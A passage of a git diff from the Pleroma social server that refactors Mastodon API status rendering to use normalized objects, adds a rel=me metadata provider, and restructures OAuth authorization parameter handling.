	\|> Enum.map(fn x ->
	Map.put(x, "avatar", MediaProxy.url(x["avatar"]))
	end)
	\|> Enum.map(fn x ->
	Map.put(x, "avatar_static", MediaProxy.url(x["avatar_static"]))
	end)

	conn
	\|> json(data)
	else
	e -> Logger.error("Could not retrieve suggestions at fetch #{url}, #{inspect(e)}")
	end
	else
	json(conn, [])
	end
	end

	def status_card(%{assigns: %{user: user}} = conn, %{"id" => status_id}) do
	with %Activity{} = activity <- Activity.get_by_id(status_id),
	true <- Visibility.visible_for_user?(activity, user) do
	data =
	StatusView.render(
	"card.json",
	Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity)
	)

	json(conn, data)
	else
	_e ->
	%{}
	end
	end

	def reports(%{assigns: %{user: user}} = conn, params) do
	case CommonAPI.report(user, params) do
	{:ok, activity} ->
	conn
	\|> put_view(ReportView)
	\|> try_render("report.json", %{activity: activity})

	{:error, err} ->
	conn
	\|> put_status(:bad_request)
	\|> json(%{error: err})
	end
	end

	def try_render(conn, target, params)
	when is_binary(target) do
	res = render(conn, target, params)

	if res == nil do
	conn
	\|> put_status(501)
	\|> json(%{error: "Can't display this activity"})
	else
	res
	end
	end

	def try_render(conn, _, _) do
	conn
	\|> put_status(501)
	\|> json(%{error: "Can't display this activity"})
	end

	defp present?(nil), do: false
	defp present?(false), do: false
	defp present?(_), do: true
	end
	diff --git a/lib/pleroma/web/mastodon_api/views/status_view.ex b/lib/pleroma/web/mastodon_api/views/status_view.ex
	index a9f607aa5..17c33080b 100644
	--- a/lib/pleroma/web/mastodon_api/views/status_view.ex
	+++ b/lib/pleroma/web/mastodon_api/views/status_view.ex
	@@ -1,423 +1,438 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.StatusView do
	use Pleroma.Web, :view

	alias Pleroma.Activity
	alias Pleroma.HTML
	+ alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.CommonAPI.Utils
	alias Pleroma.Web.MastodonAPI.AccountView
	alias Pleroma.Web.MastodonAPI.StatusView
	alias Pleroma.Web.MediaProxy

	# TODO: Add cached version.
	defp get_replied_to_activities(activities) do
	activities
	\|> Enum.map(fn
	- %{data: %{"type" => "Create", "object" => %{"inReplyTo" => in_reply_to}}} ->
	- in_reply_to != "" && in_reply_to
	+ %{data: %{"type" => "Create", "object" => object}} ->
	+ object = Object.normalize(object)
	+ object.data["inReplyTo"] != "" && object.data["inReplyTo"]

	_ ->
	nil
	end)
	\|> Enum.filter(& &1)
	\|> Activity.create_by_object_ap_id()
	\|> Repo.all()
	\|> Enum.reduce(%{}, fn activity, acc ->
	- Map.put(acc, activity.data["object"]["id"], activity)
	+ object = Object.normalize(activity.data["object"])
	+ Map.put(acc, object.data["id"], activity)
	end)
	end

	defp get_user(ap_id) do
	cond do
	user = User.get_cached_by_ap_id(ap_id) ->
	user

	user = User.get_by_guessed_nickname(ap_id) ->
	user

	true ->
	User.error_user(ap_id)
	end
	end

	defp get_context_id(%{data: %{"context_id" => context_id}}) when not is_nil(context_id),
	do: context_id

	defp get_context_id(%{data: %{"context" => context}}) when is_binary(context),
	do: Utils.context_to_conversation_id(context)

	defp get_context_id(_), do: nil

	defp reblogged?(activity, user) do
	- object = activity.data["object"] \|\| %{}
	- present?(user && user.ap_id in (object["announcements"] \|\| []))
	+ object = Object.normalize(activity) \|\| %{}
	+ present?(user && user.ap_id in (object.data["announcements"] \|\| []))
	end

	def render("index.json", opts) do
	replied_to_activities = get_replied_to_activities(opts.activities)

	opts.activities
	\|> safe_render_many(
	StatusView,
	"status.json",
	Map.put(opts, :replied_to_activities, replied_to_activities)
	)
	end

	def render(
	"status.json",
	%{activity: %{data: %{"type" => "Announce", "object" => object}} = activity} = opts
	) do
	user = get_user(activity.data["actor"])
	created_at = Utils.to_masto_date(activity.data["published"])

	reblogged_activity = Activity.get_create_by_object_ap_id(object)
	reblogged = render("status.json", Map.put(opts, :activity, reblogged_activity))

	+ activity_object = Object.normalize(activity)
	+ favorited = opts[:for] && opts[:for].ap_id in (activity_object.data["likes"] \|\| [])
	+ bookmarked = opts[:for] && activity_object.data["id"] in opts[:for].bookmarks
	+
	mentions =
	activity.recipients
	\|> Enum.map(fn ap_id -> User.get_cached_by_ap_id(ap_id) end)
	\|> Enum.filter(& &1)
	\|> Enum.map(fn user -> AccountView.render("mention.json", %{user: user}) end)

	%{
	id: to_string(activity.id),
	uri: object,
	url: object,
	account: AccountView.render("account.json", %{user: user}),
	in_reply_to_id: nil,
	in_reply_to_account_id: nil,
	reblog: reblogged,
	content: reblogged[:content] \|\| "",
	created_at: created_at,
	reblogs_count: 0,
	replies_count: 0,
	favourites_count: 0,
	reblogged: reblogged?(reblogged_activity, opts[:for]),
	- favourited: false,
	- bookmarked: false,
	+ favourited: present?(favorited),
	+ bookmarked: present?(bookmarked),
	muted: false,
	pinned: pinned?(activity, user),
	sensitive: false,
	spoiler_text: "",
	visibility: "public",
	media_attachments: reblogged[:media_attachments] \|\| [],
	mentions: mentions,
	tags: reblogged[:tags] \|\| [],
	application: %{
	name: "Web",
	website: nil
	},
	language: nil,
	emojis: [],
	pleroma: %{
	local: activity.local
	}
	}
	end

	- def render("status.json", %{activity: %{data: %{"object" => object}} = activity} = opts) do
	+ def render("status.json", %{activity: %{data: %{"object" => _object}} = activity} = opts) do
	+ object = Object.normalize(activity)
	+
	user = get_user(activity.data["actor"])

	- like_count = object["like_count"] \|\| 0
	- announcement_count = object["announcement_count"] \|\| 0
	+ like_count = object.data["like_count"] \|\| 0
	+ announcement_count = object.data["announcement_count"] \|\| 0

	- tags = object["tag"] \|\| []
	- sensitive = object["sensitive"] \|\| Enum.member?(tags, "nsfw")
	+ tags = object.data["tag"] \|\| []
	+ sensitive = object.data["sensitive"] \|\| Enum.member?(tags, "nsfw")

	mentions =
	activity.recipients
	\|> Enum.map(fn ap_id -> User.get_cached_by_ap_id(ap_id) end)
	\|> Enum.filter(& &1)
	\|> Enum.map(fn user -> AccountView.render("mention.json", %{user: user}) end)

	- favorited = opts[:for] && opts[:for].ap_id in (object["likes"] \|\| [])
	- bookmarked = opts[:for] && object["id"] in opts[:for].bookmarks
	+ favorited = opts[:for] && opts[:for].ap_id in (object.data["likes"] \|\| [])

	- attachment_data = object["attachment"] \|\| []
	+ bookmarked = opts[:for] && object.data["id"] in opts[:for].bookmarks
	+
	+ attachment_data = object.data["attachment"] \|\| []
	attachments = render_many(attachment_data, StatusView, "attachment.json", as: :attachment)

	- created_at = Utils.to_masto_date(object["published"])
	+ created_at = Utils.to_masto_date(object.data["published"])

	reply_to = get_reply_to(activity, opts)
	+
	reply_to_user = reply_to && get_user(reply_to.data["actor"])

	content =
	object
	\|> render_content()

	content_html =
	content
	\|> HTML.get_cached_scrubbed_html_for_activity(
	User.html_filter_policy(opts[:for]),
	activity,
	"mastoapi:content"
	)

	content_plaintext =
	content
	\|> HTML.get_cached_stripped_html_for_activity(
	activity,
	"mastoapi:content"
	)

	- summary = object["summary"] \|\| ""
	+ summary = object.data["summary"] \|\| ""

	summary_html =
	summary
	\|> HTML.get_cached_scrubbed_html_for_activity(
	User.html_filter_policy(opts[:for]),
	activity,
	"mastoapi:summary"
	)

	summary_plaintext =
	summary
	\|> HTML.get_cached_stripped_html_for_activity(
	activity,
	"mastoapi:summary"
	)

	card = render("card.json", Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity))

	url =
	if user.local do
	Pleroma.Web.Router.Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, activity)
	else
	- object["external_url"] \|\| object["id"]
	+ object.data["external_url"] \|\| object.data["id"]
	end

	%{
	id: to_string(activity.id),
	- uri: object["id"],
	+ uri: object.data["id"],
	url: url,
	account: AccountView.render("account.json", %{user: user}),
	in_reply_to_id: reply_to && to_string(reply_to.id),
	in_reply_to_account_id: reply_to_user && to_string(reply_to_user.id),
	reblog: nil,
	card: card,
	content: content_html,
	created_at: created_at,
	reblogs_count: announcement_count,
	- replies_count: object["repliesCount"] \|\| 0,
	+ replies_count: object.data["repliesCount"] \|\| 0,
	favourites_count: like_count,
	reblogged: reblogged?(activity, opts[:for]),
	favourited: present?(favorited),
	bookmarked: present?(bookmarked),
	muted: CommonAPI.thread_muted?(user, activity) \|\| User.mutes?(opts[:for], user),
	pinned: pinned?(activity, user),
	sensitive: sensitive,
	spoiler_text: summary_html,
	visibility: get_visibility(object),
	media_attachments: attachments,
	mentions: mentions,
	tags: build_tags(tags),
	application: %{
	name: "Web",
	website: nil
	},
	language: nil,
	- emojis: build_emojis(activity.data["object"]["emoji"]),
	+ emojis: build_emojis(object.data["emoji"]),
	pleroma: %{
	local: activity.local,
	conversation_id: get_context_id(activity),
	content: %{"text/plain" => content_plaintext},
	spoiler_text: %{"text/plain" => summary_plaintext}
	}
	}
	end

	def render("status.json", _) do
	nil
	end

	def render("card.json", %{rich_media: rich_media, page_url: page_url}) do
	page_url_data = URI.parse(page_url)

	page_url_data =
	if rich_media[:url] != nil do
	URI.merge(page_url_data, URI.parse(rich_media[:url]))
	else
	page_url_data
	end

	page_url = page_url_data \|> to_string

	image_url =
	if rich_media[:image] != nil do
	URI.merge(page_url_data, URI.parse(rich_media[:image]))
	\|> to_string
	else
	nil
	end

	site_name = rich_media[:site_name] \|\| page_url_data.host

	%{
	type: "link",
	provider_name: site_name,
	provider_url: page_url_data.scheme <> "://" <> page_url_data.host,
	url: page_url,
	image: image_url \|> MediaProxy.url(),
	title: rich_media[:title],
	description: rich_media[:description],
	pleroma: %{
	opengraph: rich_media
	}
	}
	end

	def render("card.json", _) do
	nil
	end

	def render("attachment.json", %{attachment: attachment}) do
	[attachment_url \| _] = attachment["url"]
	media_type = attachment_url["mediaType"] \|\| attachment_url["mimeType"] \|\| "image"
	href = attachment_url["href"] \|> MediaProxy.url()

	type =
	cond do
	String.contains?(media_type, "image") -> "image"
	String.contains?(media_type, "video") -> "video"
	String.contains?(media_type, "audio") -> "audio"
	true -> "unknown"
	end

	<<hash_id::signed-32, _rest::binary>> = :crypto.hash(:md5, href)

	%{
	id: to_string(attachment["id"] \|\| hash_id),
	url: href,
	remote_url: href,
	preview_url: href,
	text_url: href,
	type: type,
	description: attachment["name"],
	pleroma: %{mime_type: media_type}
	}
	end

	def get_reply_to(activity, %{replied_to_activities: replied_to_activities}) do
	- with nil <- replied_to_activities[activity.data["object"]["inReplyTo"]] do
	+ object = Object.normalize(activity.data["object"])
	+
	+ with nil <- replied_to_activities[object.data["inReplyTo"]] do
	# If user didn't participate in the thread
	Activity.get_in_reply_to_activity(activity)
	end
	end

	- def get_reply_to(%{data: %{"object" => object}}, _) do
	- if object["inReplyTo"] && object["inReplyTo"] != "" do
	- Activity.get_create_by_object_ap_id(object["inReplyTo"])
	+ def get_reply_to(%{data: %{"object" => _object}} = activity, _) do
	+ object = Object.normalize(activity)
	+
	+ if object.data["inReplyTo"] && object.data["inReplyTo"] != "" do
	+ Activity.get_create_by_object_ap_id(object.data["inReplyTo"])
	else
	nil
	end
	end

	def get_visibility(object) do
	public = "https://www.w3.org/ns/activitystreams#Public"
	- to = object["to"] \|\| []
	- cc = object["cc"] \|\| []
	+ to = object.data["to"] \|\| []
	+ cc = object.data["cc"] \|\| []

	cond do
	public in to ->
	"public"

	public in cc ->
	"unlisted"

	# this should use the sql for the object's activity
	Enum.any?(to, &String.contains?(&1, "/followers")) ->
	"private"

	length(cc) > 0 ->
	"private"

	true ->
	"direct"
	end
	end

	- def render_content(%{"type" => "Video"} = object) do
	- with name when not is_nil(name) and name != "" <- object["name"] do
	- "<p><a href=\"#{object["id"]}\">#{name}</a></p>#{object["content"]}"
	+ def render_content(%{data: %{"type" => "Video"}} = object) do
	+ with name when not is_nil(name) and name != "" <- object.data["name"] do
	+ "<p><a href=\"#{object.data["id"]}\">#{name}</a></p>#{object.data["content"]}"
	else
	- _ -> object["content"] \|\| ""
	+ _ -> object.data["content"] \|\| ""
	end
	end

	- def render_content(%{"type" => object_type} = object)
	+ def render_content(%{data: %{"type" => object_type}} = object)
	when object_type in ["Article", "Page"] do
	- with summary when not is_nil(summary) and summary != "" <- object["name"],
	- url when is_bitstring(url) <- object["url"] do
	- "<p><a href=\"#{url}\">#{summary}</a></p>#{object["content"]}"
	+ with summary when not is_nil(summary) and summary != "" <- object.data["name"],
	+ url when is_bitstring(url) <- object.data["url"] do
	+ "<p><a href=\"#{url}\">#{summary}</a></p>#{object.data["content"]}"
	else
	- _ -> object["content"] \|\| ""
	+ _ -> object.data["content"] \|\| ""
	end
	end

	- def render_content(object), do: object["content"] \|\| ""
	+ def render_content(object), do: object.data["content"] \|\| ""

	@doc """
	Builds a dictionary tags.

	## Examples

	iex> Pleroma.Web.MastodonAPI.StatusView.build_tags(["fediverse", "nextcloud"])
	[{"name": "fediverse", "url": "/tag/fediverse"},
	{"name": "nextcloud", "url": "/tag/nextcloud"}]

	"""
	@spec build_tags(list(any())) :: list(map())
	def build_tags(object_tags) when is_list(object_tags) do
	object_tags = for tag when is_binary(tag) <- object_tags, do: tag

	Enum.reduce(object_tags, [], fn tag, tags ->
	tags ++ [%{name: tag, url: "/tag/#{tag}"}]
	end)
	end

	def build_tags(_), do: []

	@doc """
	Builds list emojis.

	Arguments: `nil` or list tuple of name and url.

	Returns list emojis.

	## Examples

	iex> Pleroma.Web.MastodonAPI.StatusView.build_emojis([{"2hu", "corndog.png"}])
	[%{shortcode: "2hu", static_url: "corndog.png", url: "corndog.png", visible_in_picker: false}]

	"""
	@spec build_emojis(nil \| list(tuple())) :: list(map())
	def build_emojis(nil), do: []

	def build_emojis(emojis) do
	emojis
	\|> Enum.map(fn {name, url} ->
	name = HTML.strip_tags(name)

	url =
	url
	\|> HTML.strip_tags()
	\|> MediaProxy.url()

	%{shortcode: name, url: url, static_url: url, visible_in_picker: false}
	end)
	end

	defp present?(nil), do: false
	defp present?(false), do: false
	defp present?(_), do: true

	defp pinned?(%Activity{id: id}, %User{info: %{pinned_activities: pinned_activities}}),
	do: id in pinned_activities
	end
	diff --git a/lib/pleroma/web/metadata/rel_me.ex b/lib/pleroma/web/metadata/rel_me.ex
	new file mode 100644
	index 000000000..03af899c4
	--- /dev/null
	+++ b/lib/pleroma/web/metadata/rel_me.ex
	@@ -0,0 +1,13 @@
	+defmodule Pleroma.Web.Metadata.Providers.RelMe do
	+ alias Pleroma.Web.Metadata.Providers.Provider
	+ @behaviour Provider
	+
	+ @impl Provider
	+ def build_tags(%{user: user}) do
	+ (Floki.attribute(user.bio, "link[rel~=me]", "href") ++
	+ Floki.attribute(user.bio, "a[rel~=me]", "href"))
	+ \|> Enum.map(fn link ->
	+ {:link, [rel: "me", href: link], []}
	+ end)
	+ end
	+end
	diff --git a/lib/pleroma/web/oauth/fallback_controller.ex b/lib/pleroma/web/oauth/fallback_controller.ex
	index afaa00242..e3984f009 100644
	--- a/lib/pleroma/web/oauth/fallback_controller.ex
	+++ b/lib/pleroma/web/oauth/fallback_controller.ex
	@@ -1,29 +1,29 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OAuth.FallbackController do
	use Pleroma.Web, :controller
	alias Pleroma.Web.OAuth.OAuthController

	def call(conn, {:register, :generic_error}) do
	conn
	\|> put_status(:internal_server_error)
	\|> put_flash(:error, "Unknown error, please check the details and try again.")
	\|> OAuthController.registration_details(conn.params)
	end

	def call(conn, {:register, _error}) do
	conn
	\|> put_status(:unauthorized)
	\|> put_flash(:error, "Invalid Username/Password")
	\|> OAuthController.registration_details(conn.params)
	end

	def call(conn, _error) do
	conn
	\|> put_status(:unauthorized)
	\|> put_flash(:error, "Invalid Username/Password")
	- \|> OAuthController.authorize(conn.params["authorization"])
	+ \|> OAuthController.authorize(conn.params)
	end
	end
	diff --git a/lib/pleroma/web/oauth/oauth_controller.ex b/lib/pleroma/web/oauth/oauth_controller.ex
	index 329c8211e..688eaca11 100644
	--- a/lib/pleroma/web/oauth/oauth_controller.ex
	+++ b/lib/pleroma/web/oauth/oauth_controller.ex
	@@ -1,436 +1,444 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OAuth.OAuthController do
	use Pleroma.Web, :controller

	alias Pleroma.Registration
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.Auth.Authenticator
	alias Pleroma.Web.ControllerHelper
	alias Pleroma.Web.OAuth.App
	alias Pleroma.Web.OAuth.Authorization
	alias Pleroma.Web.OAuth.Token

	import Pleroma.Web.ControllerHelper, only: [oauth_scopes: 2]

	if Pleroma.Config.oauth_consumer_enabled?(), do: plug(Ueberauth)

	plug(:fetch_session)
	plug(:fetch_flash)

	action_fallback(Pleroma.Web.OAuth.FallbackController)

	+ # Note: this definition is only called from error-handling methods with `conn.params` as 2nd arg
	+ def authorize(conn, %{"authorization" => _} = params) do
	+ {auth_attrs, params} = Map.pop(params, "authorization")
	+ authorize(conn, Map.merge(params, auth_attrs))
	+ end
	+
	def authorize(%{assigns: %{token: %Token{} = token}} = conn, params) do
	if ControllerHelper.truthy_param?(params["force_login"]) do
	do_authorize(conn, params)
	else
	redirect_uri =
	if is_binary(params["redirect_uri"]) do
	params["redirect_uri"]
	else
	app = Repo.preload(token, :app).app

	app.redirect_uris
	\|> String.split()
	\|> Enum.at(0)
	end

	redirect(conn, external: redirect_uri(conn, redirect_uri))
	end
	end

	def authorize(conn, params), do: do_authorize(conn, params)

	defp do_authorize(conn, params) do
	app = Repo.get_by(App, client_id: params["client_id"])
	available_scopes = (app && app.scopes) \|\| []
	scopes = oauth_scopes(params, nil) \|\| available_scopes

	+ # Note: `params` might differ from `conn.params`; use `@params` not `@conn.params` in template
	render(conn, Authenticator.auth_template(), %{
	response_type: params["response_type"],
	client_id: params["client_id"],
	available_scopes: available_scopes,
	scopes: scopes,
	redirect_uri: params["redirect_uri"],
	state: params["state"],
	params: params
	})
	end

	def create_authorization(
	conn,
	- %{"authorization" => auth_params} = params,
	+ %{"authorization" => _} = params,
	opts \\ []
	) do
	with {:ok, auth} <- do_create_authorization(conn, params, opts[:user]) do
	- after_create_authorization(conn, auth, auth_params)
	+ after_create_authorization(conn, auth, params)
	else
	error ->
	- handle_create_authorization_error(conn, error, auth_params)
	+ handle_create_authorization_error(conn, error, params)
	end
	end

	- def after_create_authorization(conn, auth, %{"redirect_uri" => redirect_uri} = auth_params) do
	+ def after_create_authorization(conn, auth, %{
	+ "authorization" => %{"redirect_uri" => redirect_uri} = auth_attrs
	+ }) do
	redirect_uri = redirect_uri(conn, redirect_uri)

	if redirect_uri == "urn:ietf:wg:oauth:2.0:oob" do
	render(conn, "results.html", %{
	auth: auth
	})
	else
	connector = if String.contains?(redirect_uri, "?"), do: "&", else: "?"
	url = "#{redirect_uri}#{connector}"
	url_params = %{:code => auth.token}

	url_params =
	- if auth_params["state"] do
	- Map.put(url_params, :state, auth_params["state"])
	+ if auth_attrs["state"] do
	+ Map.put(url_params, :state, auth_attrs["state"])
	else
	url_params
	end

	url = "#{url}#{Plug.Conn.Query.encode(url_params)}"

	redirect(conn, external: url)
	end
	end

	- defp handle_create_authorization_error(conn, {scopes_issue, _}, auth_params)
	+ defp handle_create_authorization_error(
	+ conn,
	+ {scopes_issue, _},
	+ %{"authorization" => _} = params
	+ )
	when scopes_issue in [:unsupported_scopes, :missing_scopes] do
	# Per https://github.com/tootsuite/mastodon/blob/
	# 51e154f5e87968d6bb115e053689767ab33e80cd/app/controllers/api/base_controller.rb#L39
	conn
	\|> put_flash(:error, "This action is outside the authorized scopes")
	\|> put_status(:unauthorized)
	- \|> authorize(auth_params)
	+ \|> authorize(params)
	end

	- defp handle_create_authorization_error(conn, {:auth_active, false}, auth_params) do
	+ defp handle_create_authorization_error(
	+ conn,
	+ {:auth_active, false},
	+ %{"authorization" => _} = params
	+ ) do
	# Per https://github.com/tootsuite/mastodon/blob/
	# 51e154f5e87968d6bb115e053689767ab33e80cd/app/controllers/api/base_controller.rb#L76
	conn
	\|> put_flash(:error, "Your login is missing a confirmed e-mail address")
	\|> put_status(:forbidden)
	- \|> authorize(auth_params)
	+ \|> authorize(params)
	end

	- defp handle_create_authorization_error(conn, error, _auth_params) do
	+ defp handle_create_authorization_error(conn, error, %{"authorization" => _}) do
	Authenticator.handle_error(conn, error)
	end

	def token_exchange(conn, %{"grant_type" => "authorization_code"} = params) do
	with %App{} = app <- get_app_from_request(conn, params),
	fixed_token = fix_padding(params["code"]),
	%Authorization{} = auth <-
	Repo.get_by(Authorization, token: fixed_token, app_id: app.id),
	%User{} = user <- User.get_cached_by_id(auth.user_id),
	{:ok, token} <- Token.exchange_token(app, auth),
	{:ok, inserted_at} <- DateTime.from_naive(token.inserted_at, "Etc/UTC") do
	response = %{
	token_type: "Bearer",
	access_token: token.token,
	refresh_token: token.refresh_token,
	created_at: DateTime.to_unix(inserted_at),
	expires_in: 60 * 10,
	scope: Enum.join(token.scopes, " "),
	me: user.ap_id
	}

	json(conn, response)
	else
	_error ->
	put_status(conn, 400)
	\|> json(%{error: "Invalid credentials"})
	end
	end

	def token_exchange(
	conn,
	%{"grant_type" => "password"} = params
	) do
	- with {_, {:ok, %User{} = user}} <- {:get_user, Authenticator.get_user(conn, params)},
	+ with {_, {:ok, %User{} = user}} <- {:get_user, Authenticator.get_user(conn)},
	%App{} = app <- get_app_from_request(conn, params),
	{:auth_active, true} <- {:auth_active, User.auth_active?(user)},
	{:user_active, true} <- {:user_active, !user.info.deactivated},
	scopes <- oauth_scopes(params, app.scopes),
	[] <- scopes -- app.scopes,
	true <- Enum.any?(scopes),
	{:ok, auth} <- Authorization.create_authorization(app, user, scopes),
	{:ok, token} <- Token.exchange_token(app, auth) do
	response = %{
	token_type: "Bearer",
	access_token: token.token,
	refresh_token: token.refresh_token,
	expires_in: 60 * 10,
	scope: Enum.join(token.scopes, " "),
	me: user.ap_id
	}

	json(conn, response)
	else
	{:auth_active, false} ->
	# Per https://github.com/tootsuite/mastodon/blob/
	# 51e154f5e87968d6bb115e053689767ab33e80cd/app/controllers/api/base_controller.rb#L76
	conn
	\|> put_status(:forbidden)
	\|> json(%{error: "Your login is missing a confirmed e-mail address"})

	{:user_active, false} ->
	conn
	\|> put_status(:forbidden)
	\|> json(%{error: "Your account is currently disabled"})

	_error ->
	put_status(conn, 400)
	\|> json(%{error: "Invalid credentials"})
	end
	end

	def token_exchange(
	conn,
	%{"grant_type" => "password", "name" => name, "password" => _password} = params
	) do
	params =
	params
	\|> Map.delete("name")
	\|> Map.put("username", name)

	token_exchange(conn, params)
	end

	def token_revoke(conn, %{"token" => token} = params) do
	with %App{} = app <- get_app_from_request(conn, params),
	%Token{} = token <- Repo.get_by(Token, token: token, app_id: app.id),
	{:ok, %Token{}} <- Repo.delete(token) do
	json(conn, %{})
	else
	_error ->
	# RFC 7009: invalid tokens [in the request] do not cause an error response
	json(conn, %{})
	end
	end

	@doc "Prepares OAuth request to provider for Ueberauth"
	- def prepare_request(conn, %{"provider" => provider} = params) do
	+ def prepare_request(conn, %{"provider" => provider, "authorization" => auth_attrs}) do
	scope =
	- oauth_scopes(params, [])
	+ oauth_scopes(auth_attrs, [])
	\|> Enum.join(" ")

	state =
	- params
	+ auth_attrs
	\|> Map.delete("scopes")
	\|> Map.put("scope", scope)
	\|> Poison.encode!()

	params =
	- params
	+ auth_attrs
	\|> Map.drop(~w(scope scopes client_id redirect_uri))
	\|> Map.put("state", state)

	# Handing the request to Ueberauth
	redirect(conn, to: o_auth_path(conn, :request, provider, params))
	end

	def request(conn, params) do
	message =
	if params["provider"] do
	"Unsupported OAuth provider: #{params["provider"]}."
	else
	"Bad OAuth request."
	end

	conn
	\|> put_flash(:error, message)
	\|> redirect(to: "/")
	end

	def callback(%{assigns: %{ueberauth_failure: failure}} = conn, params) do
	params = callback_params(params)
	messages = for e <- Map.get(failure, :errors, []), do: e.message
	message = Enum.join(messages, "; ")

	conn
	\|> put_flash(:error, "Failed to authenticate: #{message}.")
	\|> redirect(external: redirect_uri(conn, params["redirect_uri"]))
	end

	def callback(conn, params) do
	params = callback_params(params)

	- with {:ok, registration} <- Authenticator.get_registration(conn, params) do
	+ with {:ok, registration} <- Authenticator.get_registration(conn) do
	user = Repo.preload(registration, :user).user
	- auth_params = Map.take(params, ~w(client_id redirect_uri scope scopes state))
	+ auth_attrs = Map.take(params, ~w(client_id redirect_uri scope scopes state))

	if user do
	create_authorization(
	conn,
	- %{"authorization" => auth_params},
	+ %{"authorization" => auth_attrs},
	user: user
	)
	else
	registration_params =
	- Map.merge(auth_params, %{
	+ Map.merge(auth_attrs, %{
	"nickname" => Registration.nickname(registration),
	"email" => Registration.email(registration)
	})

	conn
	\|> put_session(:registration_id, registration.id)
	- \|> registration_details(registration_params)
	+ \|> registration_details(%{"authorization" => registration_params})
	end
	else
	_ ->
	conn
	\|> put_flash(:error, "Failed to set up user account.")
	\|> redirect(external: redirect_uri(conn, params["redirect_uri"]))
	end
	end

	defp callback_params(%{"state" => state} = params) do
	Map.merge(params, Poison.decode!(state))
	end

	- def registration_details(conn, params) do
	+ def registration_details(conn, %{"authorization" => auth_attrs}) do
	render(conn, "register.html", %{
	- client_id: params["client_id"],
	- redirect_uri: params["redirect_uri"],
	- state: params["state"],
	- scopes: oauth_scopes(params, []),
	- nickname: params["nickname"],
	- email: params["email"]
	+ client_id: auth_attrs["client_id"],
	+ redirect_uri: auth_attrs["redirect_uri"],
	+ state: auth_attrs["state"],
	+ scopes: oauth_scopes(auth_attrs, []),
	+ nickname: auth_attrs["nickname"],
	+ email: auth_attrs["email"]
	})
	end

	- def register(conn, %{"op" => "connect"} = params) do
	- authorization_params = Map.put(params, "name", params["auth_name"])
	- create_authorization_params = %{"authorization" => authorization_params}
	-
	+ def register(conn, %{"authorization" => _, "op" => "connect"} = params) do
	with registration_id when not is_nil(registration_id) <- get_session_registration_id(conn),
	%Registration{} = registration <- Repo.get(Registration, registration_id),
	{_, {:ok, auth}} <-
	- {:create_authorization, do_create_authorization(conn, create_authorization_params)},
	+ {:create_authorization, do_create_authorization(conn, params)},
	%User{} = user <- Repo.preload(auth, :user).user,
	{:ok, _updated_registration} <- Registration.bind_to_user(registration, user) do
	conn
	\|> put_session_registration_id(nil)
	- \|> after_create_authorization(auth, authorization_params)
	+ \|> after_create_authorization(auth, params)
	else
	{:create_authorization, error} ->
	- {:register, handle_create_authorization_error(conn, error, create_authorization_params)}
	+ {:register, handle_create_authorization_error(conn, error, params)}

	_ ->
	{:register, :generic_error}
	end
	end

	- def register(conn, %{"op" => "register"} = params) do
	+ def register(conn, %{"authorization" => _, "op" => "register"} = params) do
	with registration_id when not is_nil(registration_id) <- get_session_registration_id(conn),
	%Registration{} = registration <- Repo.get(Registration, registration_id),
	- {:ok, user} <- Authenticator.create_from_registration(conn, params, registration) do
	+ {:ok, user} <- Authenticator.create_from_registration(conn, registration) do
	conn
	\|> put_session_registration_id(nil)
	\|> create_authorization(
	- %{
	- "authorization" => %{
	- "client_id" => params["client_id"],
	- "redirect_uri" => params["redirect_uri"],
	- "scopes" => oauth_scopes(params, nil)
	- }
	- },
	+ params,
	user: user
	)
	else
	{:error, changeset} ->
	message =
	Enum.map(changeset.errors, fn {field, {error, _}} ->
	"#{field} #{error}"
	end)
	\|> Enum.join("; ")

	message =
	String.replace(
	message,
	"ap_id has already been taken",
	"nickname has already been taken"
	)

	conn
	\|> put_status(:forbidden)
	\|> put_flash(:error, "Error: #{message}.")
	\|> registration_details(params)

	_ ->
	{:register, :generic_error}
	end
	end

	defp do_create_authorization(
	conn,
	%{
	"authorization" =>
	%{
	"client_id" => client_id,
	"redirect_uri" => redirect_uri
	- } = auth_params
	- } = params,
	+ } = auth_attrs
	+ },
	user \\ nil
	) do
	with {_, {:ok, %User{} = user}} <-
	- {:get_user, (user && {:ok, user}) \|\| Authenticator.get_user(conn, params)},
	+ {:get_user, (user && {:ok, user}) \|\| Authenticator.get_user(conn)},
	%App{} = app <- Repo.get_by(App, client_id: client_id),
	true <- redirect_uri in String.split(app.redirect_uris),
	- scopes <- oauth_scopes(auth_params, []),
	+ scopes <- oauth_scopes(auth_attrs, []),
	{:unsupported_scopes, []} <- {:unsupported_scopes, scopes -- app.scopes},
	# Note: `scope` param is intentionally not optional in this context
	{:missing_scopes, false} <- {:missing_scopes, scopes == []},
	{:auth_active, true} <- {:auth_active, User.auth_active?(user)} do
	Authorization.create_authorization(app, user, scopes)
	end
	end

	# XXX - for whatever reason our token arrives urlencoded, but Plug.Conn should be
	# decoding it. Investigate sometime.
	defp fix_padding(token) do
	token
	\|> URI.decode()
	\|> Base.url_decode64!(padding: false)
	\|> Base.url_encode64(padding: false)
	end

	defp get_app_from_request(conn, params) do
	# Per RFC 6749, HTTP Basic is preferred to body params
	{client_id, client_secret} =
	with ["Basic " <> encoded] <- get_req_header(conn, "authorization"),
	{:ok, decoded} <- Base.decode64(encoded),
	[id, secret] <-
	String.split(decoded, ":")
	\|> Enum.map(fn s -> URI.decode_www_form(s) end) do
	{id, secret}
	else
	_ -> {params["client_id"], params["client_secret"]}
	end

	if client_id && client_secret do
	Repo.get_by(
	App,
	client_id: client_id,
	client_secret: client_secret
	)
	else
	nil
	end
	end

	# Special case: Local MastodonFE
	defp redirect_uri(conn, "."), do: mastodon_api_url(conn, :login)

	defp redirect_uri(_conn, redirect_uri), do: redirect_uri

